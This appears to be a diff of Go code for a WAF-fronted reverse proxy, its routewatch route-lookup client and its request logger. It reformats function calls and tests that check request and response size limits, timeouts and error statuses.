var out bytes.Buffer var out bytes.Buffer
requestlog.NewProcessLogger(&out, "fsn1app1/blog", slog.LevelInfo). requestlog.NewProcessLogger(&out, "fsn1app1/blog", slog.LevelInfo).Info("starting",
Info("starting", "version", "v1")
"version", "v1")
var fields map[string]any var fields map[string]any
@@ -151,10 +142,8 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
t.Fatalf("decode %q: %v", out.String(), err) t.Fatalf("decode %q: %v", out.String(), err)
} }
if fields["type"] != "process" || if fields["type"] != "process" || fields["instance"] != "fsn1app1/blog" ||
fields["instance"] != "fsn1app1/blog" || fields["msg"] != "starting" || fields["level"] != "INFO" ||
fields["msg"] != "starting" ||
fields["level"] != "INFO" ||
fields["version"] != "v1" { fields["version"] != "v1" {
t.Errorf("process line %v", fields) t.Errorf("process line %v", fields)
} }
@@ -165,10 +154,7 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
if err != nil || !strings.HasSuffix(timeText, "Z") || if err != nil || !strings.HasSuffix(timeText, "Z") ||
len(timeText) != len("2006-01-02T15:04:05.000Z") || len(timeText) != len("2006-01-02T15:04:05.000Z") ||
time.Since(logged) > time.Minute { time.Since(logged) > time.Minute {
t.Errorf( t.Errorf("process line time %q, want now in UTC with milliseconds", timeText)
"process line time %q, want now in UTC with milliseconds",
timeText,
)
} }
} }
@@ -185,11 +171,7 @@ func TestProcessLoggerWritesTheMessagesAtItsLevelOrMoreSevere(t *testing.T) {
var out bytes.Buffer var out bytes.Buffer
processLog := requestlog.NewProcessLogger( processLog := requestlog.NewProcessLogger(&out, "fsn1app1/blog", level)
&out,
"fsn1app1/blog",
level,
)
for _, at := range levels { for _, at := range levels {
processLog.Log(t.Context(), at, "message") processLog.Log(t.Context(), at, "message")
} }
+3 -16
View File
@@ -206,11 +206,7 @@ func (c *Client) Load(answers []Answer) {
// query as no longer under way. A query that fails gives no answer, and // query as no longer under way. A query that fails gives no answer, and
// routewatch is not asked again for failureKept. Only the first failure of // routewatch is not asked again for failureKept. Only the first failure of
// those under way is logged. // those under way is logged.
func (c *Client) ask( func (c *Client) ask(ctx context.Context, client netip.Prefix, addr netip.Addr) {
ctx context.Context,
client netip.Prefix,
addr netip.Addr,
) {
route, err := c.query(ctx, addr) route, err := c.query(ctx, addr)
now := c.params.Now() now := c.params.Now()
@@ -231,11 +227,7 @@ func (c *Client) ask(
c.mu.Unlock() c.mu.Unlock()
if firstFailure { if firstFailure {
c.params.ProcessLog.Warn( c.params.ProcessLog.Warn("asking routewatch failed", "error", err.Error())
"asking routewatch failed",
"error",
err.Error(),
)
} }
} }
@@ -251,12 +243,7 @@ func (c *Client) query(ctx context.Context, addr netip.Addr) (Route, error) {
return Route{}, fmt.Errorf("make the URL: %w", err) return Route{}, fmt.Errorf("make the URL: %w", err)
} }
req, err := http.NewRequestWithContext( req, err := http.NewRequestWithContext(ctx, http.MethodGet, endpoint, http.NoBody)
ctx,
http.MethodGet,
endpoint,
http.NoBody,
)
if err != nil { if err != nil {
return Route{}, fmt.Errorf("make the request: %w", err) return Route{}, fmt.Errorf("make the request: %w", err)
} }
+16 -55
View File
@@ -131,9 +131,7 @@ func TestMain(m *testing.M) {
type silentRoutewatch struct{} type silentRoutewatch struct{}
// RoundTrip waits until req is abandoned. // RoundTrip waits until req is abandoned.
func (silentRoutewatch) RoundTrip( func (silentRoutewatch) RoundTrip(req *http.Request) (*http.Response, error) {
req *http.Request,
) (*http.Response, error) {
<-req.Context().Done() <-req.Context().Done()
return nil, req.Context().Err() return nil, req.Context().Err()
@@ -193,19 +191,12 @@ func TestRouteGivesRoutewatchsAnswerAndAsksByAddress(t *testing.T) {
f := newFixture(t, answering(routedAnswer)) f := newFixture(t, answering(routedAnswer))
if _, missing := f.route(); missing != routewatch.NoAnswerYet { if _, missing := f.route(); missing != routewatch.NoAnswerYet {
t.Errorf( t.Errorf("before the answer: %q, want %q", missing, routewatch.NoAnswerYet)
"before the answer: %q, want %q",
missing,
routewatch.NoAnswerYet,
)
} }
route := f.waitFor("") route := f.waitFor("")
want := routewatch.Route{ want := routewatch.Route{Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496}
Netblock: netip.MustParsePrefix("192.0.2.0/24"),
ASN: 64496,
}
if route != want { if route != want {
t.Errorf("route %+v, want %+v", route, want) t.Errorf("route %+v, want %+v", route, want)
} }
@@ -228,10 +219,7 @@ func TestAnswerAfterASlowReverseDNSLookupIsKept(t *testing.T) {
route := f.waitFor("") route := f.waitFor("")
want := routewatch.Route{ want := routewatch.Route{Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496}
Netblock: netip.MustParsePrefix("192.0.2.0/24"),
ASN: 64496,
}
if route != want { if route != want {
t.Errorf("route %+v, want %+v", route, want) t.Errorf("route %+v, want %+v", route, want)
} }
@@ -260,8 +248,7 @@ func TestAnswerRoutewatchCannotBeTakenFromFails(t *testing.T) {
"not JSON": answering("no"), "not JSON": answering("no"),
"no results": answering(`{"status":"ok","data":{"results":[]}}`), "no results": answering(`{"status":"ok","data":{"results":[]}}`),
"bad netblock": answering( "bad netblock": answering(
`{"status":"ok","data":{"results":[{"netblock":"nowhere","asn":1}]}}`, `{"status":"ok","data":{"results":[{"netblock":"nowhere","asn":1}]}}`),
),
} }
for name, standIn := range tests { for name, standIn := range tests {
t.Run(name, func(t *testing.T) { t.Run(name, func(t *testing.T) {
@@ -276,9 +263,7 @@ func TestAnswerRoutewatchCannotBeTakenFromFails(t *testing.T) {
} }
} }
func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient( func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
f := newFixture(t, answering(routedAnswer)) f := newFixture(t, answering(routedAnswer))
@@ -295,9 +280,7 @@ func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient(
f.wantFailureLoggedWithoutTheClient() f.wantFailureLoggedWithoutTheClient()
} }
func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest( func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
f := newFixture(t, func(w http.ResponseWriter, _ *http.Request) { f := newFixture(t, func(w http.ResponseWriter, _ *http.Request) {
@@ -318,10 +301,7 @@ func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(
deadline := time.Now().Add(waitLimit) deadline := time.Now().Add(waitLimit)
for f.queries.Load() != 2 { for f.queries.Load() != 2 {
if time.Now().After(deadline) { if time.Now().After(deadline) {
t.Fatalf( t.Fatalf("%d queries after the failure expired, want 2", f.queries.Load())
"%d queries after the failure expired, want 2",
f.queries.Load(),
)
} }
time.Sleep(time.Millisecond) time.Sleep(time.Millisecond)
@@ -346,14 +326,9 @@ func TestHangingRoutewatchNeverDelaysAndFailsTheQuery(t *testing.T) {
began := time.Now() began := time.Now()
_, missing := f.route() _, missing := f.route()
if waited := time.Since(began); missing != routewatch.NoAnswerYet || if waited := time.Since(began); missing != routewatch.NoAnswerYet || waited != 0 {
waited != 0 { t.Errorf("Route gave %q after %s while routewatch hangs, want %q at once",
t.Errorf( missing, waited, routewatch.NoAnswerYet)
"Route gave %q after %s while routewatch hangs, want %q at once",
missing,
waited,
routewatch.NoAnswerYet,
)
} }
f.waitFor(routewatch.RequestFailed) f.waitFor(routewatch.RequestFailed)
@@ -437,14 +412,8 @@ func TestLoadedAnswersAreUsedForAnHourFromWhenTheyCame(t *testing.T) {
f.client.Load([]routewatch.Answer{kept, stale}) f.client.Load([]routewatch.Answer{kept, stale})
if got := f.client.Snapshot(); !slices.Equal( if got := f.client.Snapshot(); !slices.Equal(got, []routewatch.Answer{kept}) {
got, t.Errorf("kept %+v, want only the answer that came less than an hour ago", got)
[]routewatch.Answer{kept},
) {
t.Errorf(
"kept %+v, want only the answer that came less than an hour ago",
got,
)
} }
route, missing := f.route() route, missing := f.route()
@@ -455,10 +424,7 @@ func TestLoadedAnswersAreUsedForAnHourFromWhenTheyCame(t *testing.T) {
} }
if got := f.queries.Load(); got != 0 { if got := f.queries.Load(); got != 0 {
t.Errorf( t.Errorf("%d queries for a client with an answer loaded, want none", got)
"%d queries for a client with an answer loaded, want none",
got,
)
} }
} }
@@ -492,12 +458,7 @@ func TestLoadDropsTheAnswerThatCameLongestAgoFirst(t *testing.T) {
} }
if got[0] != answers[0] || got[maxAnswers-1] != answers[maxAnswers-1] { if got[0] != answers[0] || got[maxAnswers-1] != answers[maxAnswers-1] {
t.Errorf( t.Errorf("answers kept from %s to %s, want from %s to %s", got[0].Client,
"answers kept from %s to %s, want from %s to %s", got[maxAnswers-1].Client, answers[0].Client, answers[maxAnswers-1].Client)
got[0].Client,
got[maxAnswers-1].Client,
answers[0].Client,
answers[maxAnswers-1].Client,
)
} }
} }
+2 -4
View File
@@ -203,8 +203,7 @@ func (w *responseWriter) Write(p []byte) (int, error) {
w.status = http.StatusOK w.status = http.StatusOK
} }
//nolint:gosec // the answer, as it was given n, err := w.ResponseWriter.Write(p) //nolint:gosec // the answer, as it was given
n, err := w.ResponseWriter.Write(p)
w.bytes += int64(n) w.bytes += int64(n)
return n, err return n, err
@@ -219,8 +218,7 @@ func (w *responseWriter) FlushError() error {
// Hijack takes over the connection to the visitor, which ReverseProxy does only // Hijack takes over the connection to the visitor, which ReverseProxy does only
// to pass on the app's 101 Switching Protocols: that is then the status sent. // to pass on the app's 101 Switching Protocols: that is then the status sent.
func (w *responseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) { func (w *responseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) {
conn, buffered, err := http.NewResponseController(w.ResponseWriter). conn, buffered, err := http.NewResponseController(w.ResponseWriter).Hijack()
Hijack()
if err == nil { if err == nil {
w.status = http.StatusSwitchingProtocols w.status = http.StatusSwitchingProtocols
} }
+1 -5
View File
@@ -83,11 +83,7 @@ func isInside(addr netip.Addr, netblocks []netip.Prefix) bool {
// X-Forwarded-For. Those of any other peer are its own claims and are replaced: // X-Forwarded-For. Those of any other peer are its own claims and are replaced:
// X-Forwarded-For names the peer, X-Forwarded-Host the host it asked for, and // X-Forwarded-For names the peer, X-Forwarded-Host the host it asked for, and
// X-Forwarded-Proto plain http, which is how it reached rproxy. // X-Forwarded-Proto plain http, which is how it reached rproxy.
func setForwardedHeaders( func setForwardedHeaders(in, out *http.Request, peer netip.Addr, trusted bool) {
in, out *http.Request,
peer netip.Addr,
trusted bool,
) {
forwardedFor := peer.String() forwardedFor := peer.String()
if trusted { if trusted {
+80 -256
View File
@@ -34,15 +34,13 @@ func announcedLength(size int) string {
func TestServerHasTheFixedLimits(t *testing.T) { func TestServerHasTheFixedLimits(t *testing.T) {
t.Parallel() t.Parallel()
cfg, err := config.RProxyFromEnvironment( cfg, err := config.RProxyFromEnvironment(func(name string) (string, bool) {
func(name string) (string, bool) { if name == "SWRP_WAF_BACKEND" {
if name == "SWRP_WAF_BACKEND" { return nowhere, true
return nowhere, true }
}
return "", false return "", false
}, })
)
if err != nil { if err != nil {
t.Fatalf("settings: %v", err) t.Fatalf("settings: %v", err)
} }
@@ -50,23 +48,14 @@ func TestServerHasTheFixedLimits(t *testing.T) {
server := rproxy.New(rproxy.Params{ server := rproxy.New(rproxy.Params{
Config: cfg, Config: cfg,
RequestLog: io.Discard, RequestLog: io.Discard,
ProcessLog: requestlog.NewProcessLogger( ProcessLog: requestlog.NewProcessLogger(io.Discard, "test", slog.LevelInfo),
io.Discard,
"test",
slog.LevelInfo,
),
}) })
if server.Addr != ":8080" || server.MaxHeaderBytes != 28<<10 || if server.Addr != ":8080" || server.MaxHeaderBytes != 28<<10 ||
server.IdleTimeout != 2*time.Minute || server.ReadHeaderTimeout != time.Minute { server.IdleTimeout != 2*time.Minute || server.ReadHeaderTimeout != time.Minute {
t.Errorf( t.Errorf("server listens on %q with header limit %d, idle time %s and "+
"server listens on %q with header limit %d, idle time %s and "+ "header timeout %s", server.Addr, server.MaxHeaderBytes,
"header timeout %s", server.IdleTimeout, server.ReadHeaderTimeout)
server.Addr,
server.MaxHeaderBytes,
server.IdleTimeout,
server.ReadHeaderTimeout,
)
} }
} }
@@ -87,14 +76,9 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) { app := startApp(t, func(http.ResponseWriter, *http.Request) {
t.Error("the app was asked") t.Error("the app was asked")
}) })
addr, _ := startRProxy( addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
t, maxRequestSize: tc.limit,
standIn.URL, })
app.URL,
map[string]string{
maxRequestSize: tc.limit,
},
)
got := visit(t, newRequest(t, http.MethodPost, addr, "/", got := visit(t, newRequest(t, http.MethodPost, addr, "/",
bytes.NewReader(make([]byte, tc.size)))) bytes.NewReader(make([]byte, tc.size))))
@@ -103,11 +87,7 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
} }
if asked := standIn.question(t); len(asked.body) != tc.asked { if asked := standIn.question(t); len(asked.body) != tc.asked {
t.Errorf( t.Errorf("the question carries %d bytes, want %d", len(asked.body), tc.asked)
"the question carries %d bytes, want %d",
len(asked.body),
tc.asked,
)
} }
report := standIn.report(t) report := standIn.report(t)
@@ -158,21 +138,13 @@ func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
asked.Store(true) asked.Store(true)
greet(w, r) greet(w, r)
}) })
addr, _ := startRProxy( addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
t, maxRequestSize: tc.limit,
standIn.URL, })
app.URL,
map[string]string{
maxRequestSize: tc.limit,
},
)
conn := dial(t, addr) conn := dial(t, addr)
send(t, conn, post+"Transfer-Encoding: chunked\r\n\r\n"+ send(t, conn, post+"Transfer-Encoding: chunked\r\n\r\n"+
strconv.FormatInt( strconv.FormatInt(int64(tc.size), 16)+"\r\n"+strings.Repeat("x", tc.size)+
int64(tc.size),
16,
)+"\r\n"+strings.Repeat("x", tc.size)+
"\r\n0\r\n\r\n") "\r\n0\r\n\r\n")
if status := readStatus(t, conn); status != http.StatusRequestEntityTooLarge { if status := readStatus(t, conn); status != http.StatusRequestEntityTooLarge {
@@ -231,26 +203,17 @@ func TestAResponseOverItsLimit(t *testing.T) {
text, err := io.ReadAll(conn) text, err := io.ReadAll(conn)
if err != nil || bytes.Contains(text, []byte(large)) { if err != nil || bytes.Contains(text, []byte(large)) {
t.Errorf( t.Errorf("read %d bytes (%v), want the answer cut off", len(text), err)
"read %d bytes (%v), want the answer cut off",
len(text),
err,
)
} }
report := standIn.report(t) report := standIn.report(t)
if report.Status != http.StatusOK || report.ResponseBytes > 1<<10 { if report.Status != http.StatusOK || report.ResponseBytes > 1<<10 {
t.Errorf( t.Errorf("report %+v, want status 200 and at most 1K of the answer", report)
"report %+v, want status 200 and at most 1K of the answer",
report,
)
} }
}) })
} }
func TestAHeadWhoseAnswerAnnouncesMoreThanTheResponseLimitIsPassedOn( func TestAHeadWhoseAnswerAnnouncesMoreThanTheResponseLimitIsPassedOn(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
const announced = "2048" const announced = "2048"
@@ -264,13 +227,8 @@ func TestAHeadWhoseAnswerAnnouncesMoreThanTheResponseLimitIsPassedOn(
}) })
got := visit(t, newRequest(t, http.MethodHead, addr, "/", http.NoBody)) got := visit(t, newRequest(t, http.MethodHead, addr, "/", http.NoBody))
if got.status != http.StatusOK || if got.status != http.StatusOK || got.header.Get(contentLengthHeader) != announced {
got.header.Get(contentLengthHeader) != announced { t.Errorf("answered %+v, want the app's 200 announcing %s bytes", got, announced)
t.Errorf(
"answered %+v, want the app's 200 announcing %s bytes",
got,
announced,
)
} }
} }
@@ -285,22 +243,14 @@ func TestASettingOfOffSetsNoLimit(t *testing.T) {
standIn := startWAF(t, allow) standIn := startWAF(t, allow)
app := startApp(t, greet) app := startApp(t, greet)
addr, _ := startRProxy( addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
t, setting: "off",
standIn.URL, })
app.URL,
map[string]string{
setting: "off",
},
)
// A body and an answer that a limit of zero would cut off, as it would the // A body and an answer that a limit of zero would cut off, as it would the
// next answer, which rproxy gives itself. // next answer, which rproxy gives itself.
wantGreeting( wantGreeting(t, visit(t, newRequest(t, http.MethodPost, addr, "/",
t, strings.NewReader("a body"))))
visit(t, newRequest(t, http.MethodPost, addr, "/",
strings.NewReader("a body"))),
)
if got := get(t, addr, waf.HealthPath); got.status != http.StatusOK { if got := get(t, addr, waf.HealthPath); got.status != http.StatusOK {
t.Errorf("answered %+v, want rproxy's own 200", got) t.Errorf("answered %+v, want rproxy's own 200", got)
@@ -323,14 +273,9 @@ func TestAVisitorTooSlowToSendTheFirstPartIsAnswered408(t *testing.T) {
standIn := startWAF(t, allow) standIn := startWAF(t, allow)
app := startApp(t, greet) app := startApp(t, greet)
addr, out := startRProxy( addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
t, maxRequestTime: "500",
standIn.URL, })
app.URL,
map[string]string{
maxRequestTime: "500",
},
)
conn := dial(t, addr) conn := dial(t, addr)
send(t, conn, post+tc.rest) send(t, conn, post+tc.rest)
@@ -374,9 +319,7 @@ func TestAVisitorThatGoesAwayBeforeTheFirstPartIsNotAsked(t *testing.T) {
} }
} }
func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer( func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for _, tc := range []struct { for _, tc := range []struct {
@@ -413,11 +356,8 @@ func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(
text, err := io.ReadAll(conn) text, err := io.ReadAll(conn)
if err != nil || len(text) != 0 { if err != nil || len(text) != 0 {
t.Errorf( t.Errorf("read %q (%v), want the connection closed without an answer",
"read %q (%v), want the connection closed without an answer", text, err)
text,
err,
)
} }
line := out.requestLine(t) line := out.requestLine(t)
@@ -462,8 +402,7 @@ func (w *deadlineRecorder) FlushError() error {
func (w *deadlineRecorder) SetReadDeadline(deadline time.Time) error { func (w *deadlineRecorder) SetReadDeadline(deadline time.Time) error {
w.readDeadline = deadline w.readDeadline = deadline
if w.stalled != nil && !deadline.IsZero() && if w.stalled != nil && !deadline.IsZero() && !deadline.After(time.Now()) {
!deadline.After(time.Now()) {
_ = w.stalled.CloseWithError(os.ErrDeadlineExceeded) _ = w.stalled.CloseWithError(os.ErrDeadlineExceeded)
} }
@@ -500,22 +439,12 @@ func TestABodyLeftUnreadIsReadOnlyUntilTheRequestTimeLimit(t *testing.T) {
t.Cleanup(func() { _ = stop.Close() }) t.Cleanup(func() { _ = stop.Close() })
req := httptest.NewRequestWithContext( req := httptest.NewRequestWithContext(t.Context(), http.MethodPost, "/",
t.Context(), io.MultiReader(bytes.NewReader(make([]byte, questionBodyMaxBytes+1)), stalled))
http.MethodPost,
"/",
io.MultiReader(
bytes.NewReader(make([]byte, questionBodyMaxBytes+1)),
stalled,
),
)
req.ContentLength = announced req.ContentLength = announced
req.Header.Set(contentLengthHeader, strconv.Itoa(announced)) req.Header.Set(contentLengthHeader, strconv.Itoa(announced))
w := &deadlineRecorder{ w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder(), stalled: stop}
ResponseRecorder: httptest.NewRecorder(),
stalled: stop,
}
before := time.Now() before := time.Now()
@@ -527,17 +456,12 @@ func TestABodyLeftUnreadIsReadOnlyUntilTheRequestTimeLimit(t *testing.T) {
if w.readDeadline.Before(before.Add(limit)) || if w.readDeadline.Before(before.Add(limit)) ||
w.readDeadline.After(time.Now().Add(limit)) { w.readDeadline.After(time.Now().Add(limit)) {
t.Errorf( t.Errorf("the reading of the body ends at %s, want %s from the request",
"the reading of the body ends at %s, want %s from the request", w.readDeadline, limit)
w.readDeadline,
limit,
)
} }
} }
func TestABodyLeftUnreadIsReadNoMoreOnceTheTimeToSendTheAnswerRunsOut( func TestABodyLeftUnreadIsReadNoMoreOnceTheTimeToSendTheAnswerRunsOut(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
standIn := startWAF(t, allow) standIn := startWAF(t, allow)
@@ -549,15 +473,8 @@ func TestABodyLeftUnreadIsReadNoMoreOnceTheTimeToSendTheAnswerRunsOut(
t.Cleanup(func() { _ = stop.Close() }) t.Cleanup(func() { _ = stop.Close() })
req := httptest.NewRequestWithContext( req := httptest.NewRequestWithContext(t.Context(), http.MethodPost, "/",
t.Context(), io.MultiReader(bytes.NewReader(make([]byte, questionBodyMaxBytes+1)), stalled))
http.MethodPost,
"/",
io.MultiReader(
bytes.NewReader(make([]byte, questionBodyMaxBytes+1)),
stalled,
),
)
req.ContentLength = 2 * questionBodyMaxBytes req.ContentLength = 2 * questionBodyMaxBytes
req.Header.Set(contentLengthHeader, strconv.Itoa(2*questionBodyMaxBytes)) req.Header.Set(contentLengthHeader, strconv.Itoa(2*questionBodyMaxBytes))
@@ -579,10 +496,7 @@ func TestABodyLeftUnreadIsReadNoMoreOnceTheTimeToSendTheAnswerRunsOut(
} }
if w.readDeadline.Before(before) || w.readDeadline.After(time.Now()) { if w.readDeadline.Before(before) || w.readDeadline.After(time.Now()) {
t.Errorf( t.Errorf("the reading of the body ends at %s, want now", w.readDeadline)
"the reading of the body ends at %s, want now",
w.readDeadline,
)
} }
} }
@@ -603,24 +517,12 @@ func TestAnAnswerRProxyGivesItselfHasTheResponseTimeToBeSent(t *testing.T) {
standIn := startWAF(t, deny) standIn := startWAF(t, deny)
app := startApp(t, greet) app := startApp(t, greet)
_, _, server := startServer( _, _, server := startServer(t, standIn.URL, app.URL, map[string]string{
t, maxResponseTime: strconv.FormatInt(limit.Milliseconds(), 10),
standIn.URL, })
app.URL,
map[string]string{
maxResponseTime: strconv.FormatInt(
limit.Milliseconds(),
10,
),
},
)
req := httptest.NewRequestWithContext( req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, tc.target,
t.Context(), http.NoBody)
http.MethodGet,
tc.target,
http.NoBody,
)
w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()} w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()}
before := time.Now() before := time.Now()
@@ -633,19 +535,14 @@ func TestAnAnswerRProxyGivesItselfHasTheResponseTimeToBeSent(t *testing.T) {
if w.writeDeadline.Before(before.Add(limit)) || if w.writeDeadline.Before(before.Add(limit)) ||
w.writeDeadline.After(time.Now().Add(limit)) { w.writeDeadline.After(time.Now().Add(limit)) {
t.Errorf( t.Errorf("the time limit on sending ends at %s, want %s from the answer",
"the time limit on sending ends at %s, want %s from the answer", w.writeDeadline, limit)
w.writeDeadline,
limit,
)
} }
}) })
} }
} }
func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast( func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
const least = 10 * time.Second const least = 10 * time.Second
@@ -656,12 +553,7 @@ func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(
maxResponseTime: "300", maxResponseTime: "300",
}) })
req := httptest.NewRequestWithContext( req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
t.Context(),
http.MethodGet,
"/",
http.NoBody,
)
w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()} w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()}
before := time.Now() before := time.Now()
@@ -669,11 +561,8 @@ func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(
server.Handler.ServeHTTP(w, req) server.Handler.ServeHTTP(w, req)
if w.writeDeadline.Before(before.Add(least)) { if w.writeDeadline.Before(before.Add(least)) {
t.Errorf( t.Errorf("the time limit on sending ends at %s, want %s from the answer at least",
"the time limit on sending ends at %s, want %s from the answer at least", w.writeDeadline, least)
w.writeDeadline,
least,
)
} }
} }
@@ -694,9 +583,7 @@ func TestAVisitorTooSlowToSendTheRestIsAnswered408(t *testing.T) {
t.Errorf("status %d, want 408", status) t.Errorf("status %d, want 408", status)
} }
if asked := standIn.question(t); len( if asked := standIn.question(t); len(asked.body) != questionBodyMaxBytes {
asked.body,
) != questionBodyMaxBytes {
t.Errorf("the question carries %d bytes", len(asked.body)) t.Errorf("the question carries %d bytes", len(asked.body))
} }
@@ -710,11 +597,7 @@ func TestAVisitorTooSlowToSendTheRestIsAnswered408(t *testing.T) {
func startAppThatTakesNothing(t *testing.T) string { func startAppThatTakesNothing(t *testing.T) string {
t.Helper() t.Helper()
listener, err := (&net.ListenConfig{}).Listen( listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
t.Context(),
"tcp",
localhost+":0",
)
if err != nil { if err != nil {
t.Fatalf("listen: %v", err) t.Fatalf("listen: %v", err)
} }
@@ -803,9 +686,7 @@ func TestAnAppTooSlowToAnswerIsAnswered504(t *testing.T) {
} }
} }
func TestAVisitorGetsAnAnswerWhenTheAppAnswersAsTheTimeRunsOut( func TestAVisitorGetsAnAnswerWhenTheAppAnswersAsTheTimeRunsOut(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
// Four visitors at a time, each with an app and rproxy of its own, send more // Four visitors at a time, each with an app and rproxy of its own, send more
@@ -904,13 +785,8 @@ func TestAnAppTooSlowToFinishItsAnswerIsCutOff(t *testing.T) {
if res.StatusCode != http.StatusOK || string(body) != start || if res.StatusCode != http.StatusOK || string(body) != start ||
!errors.Is(err, io.ErrUnexpectedEOF) { !errors.Is(err, io.ErrUnexpectedEOF) {
t.Errorf( t.Errorf("answered %d %q (%v), want the app's 200 %q, then the connection closed",
"answered %d %q (%v), want the app's 200 %q, then the connection closed", res.StatusCode, body, err, start)
res.StatusCode,
body,
err,
start,
)
} }
if report := standIn.report(t); report.Status != http.StatusOK { if report := standIn.report(t); report.Status != http.StatusOK {
@@ -951,17 +827,13 @@ func TestAVisitorTooSlowToTakeTheAnswerIsCutOff(t *testing.T) {
line := out.requestLine(t) line := out.requestLine(t)
responseBytes, _ := line["response_bytes"].(float64) responseBytes, _ := line["response_bytes"].(float64)
if line["status"] != float64(http.StatusOK) || if line["status"] != float64(http.StatusOK) || responseBytes >= bodySize {
responseBytes >= bodySize {
t.Errorf("line %v, want status 200 and the answer cut off", line) t.Errorf("line %v, want status 200 and the answer cut off", line)
} }
report := standIn.report(t) report := standIn.report(t)
if report.Status != http.StatusOK || report.ResponseBytes >= bodySize { if report.Status != http.StatusOK || report.ResponseBytes >= bodySize {
t.Errorf( t.Errorf("report %+v, want status 200 and the answer cut off", report)
"report %+v, want status 200 and the answer cut off",
report,
)
} }
} }
@@ -981,9 +853,7 @@ func TestAnAppThatCannotBeReachedIsAnswered502WithAReport(t *testing.T) {
} }
} }
func TestAVisitorThatStopsSendingAfterTheAppHasAnsweredGetsTheAnswer( func TestAVisitorThatStopsSendingAfterTheAppHasAnsweredGetsTheAnswer(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
standIn := startWAF(t, allow) standIn := startWAF(t, allow)
@@ -1067,9 +937,7 @@ func TestAVisitorThatStopsALittleShortGetsTheAppsAnswerAtOnce(t *testing.T) {
wantGreeting(t, readAnswer(t, conn)) wantGreeting(t, readAnswer(t, conn))
} }
func TestAVisitorThatStopsALittleShortIsReadUntilTheRequestTimeLimit( func TestAVisitorThatStopsALittleShortIsReadUntilTheRequestTimeLimit(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
const limit = 2 * time.Second const limit = 2 * time.Second
@@ -1093,11 +961,7 @@ func TestAVisitorThatStopsALittleShortIsReadUntilTheRequestTimeLimit(
} }
if closed := time.Since(start); closed < limit { if closed := time.Since(start); closed < limit {
t.Errorf( t.Errorf("the connection closed after %s, want %s at least", closed, limit)
"the connection closed after %s, want %s at least",
closed,
limit,
)
} }
} }
@@ -1128,8 +992,7 @@ func TestAVisitorThatStopsALittleShortHasTheConnectionClosedWhenTheAnswerIsCutOf
rc := http.NewResponseController(w) rc := http.NewResponseController(w)
_ = rc.EnableFullDuplex() _ = rc.EnableFullDuplex()
w.Header(). w.Header().Set(contentLengthHeader, strconv.Itoa(len(greeting)))
Set(contentLengthHeader, strconv.Itoa(len(greeting)))
for _, part := range tc.atOnce { for _, part := range tc.atOnce {
_, _ = io.WriteString(w, part) _, _ = io.WriteString(w, part)
@@ -1147,18 +1010,10 @@ func TestAVisitorThatStopsALittleShortHasTheConnectionClosedWhenTheAnswerIsCutOf
}) })
// The request time limit is far longer than dial's deadline. // The request time limit is far longer than dial's deadline.
addr, _ := startRProxy( addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
t, maxRequestTime: "120000",
standIn.URL, maxResponseTime: strconv.FormatInt(limit.Milliseconds(), 10),
app.URL, })
map[string]string{
maxRequestTime: "120000",
maxResponseTime: strconv.FormatInt(
limit.Milliseconds(),
10,
),
},
)
conn := dial(t, addr) conn := dial(t, addr)
sendAllButALittle(t, conn) sendAllButALittle(t, conn)
@@ -1175,12 +1030,7 @@ func TestAVisitorThatStopsALittleShortHasTheConnectionClosedWhenTheAnswerIsCutOf
want := strings.Join(tc.atOnce, "") want := strings.Join(tc.atOnce, "")
if string(body) != want || !errors.Is(err, io.ErrUnexpectedEOF) { if string(body) != want || !errors.Is(err, io.ErrUnexpectedEOF) {
t.Errorf( t.Errorf("read %q (%v), want %q and the connection closed", body, err, want)
"read %q (%v), want %q and the connection closed",
body,
err,
want,
)
} }
}) })
} }
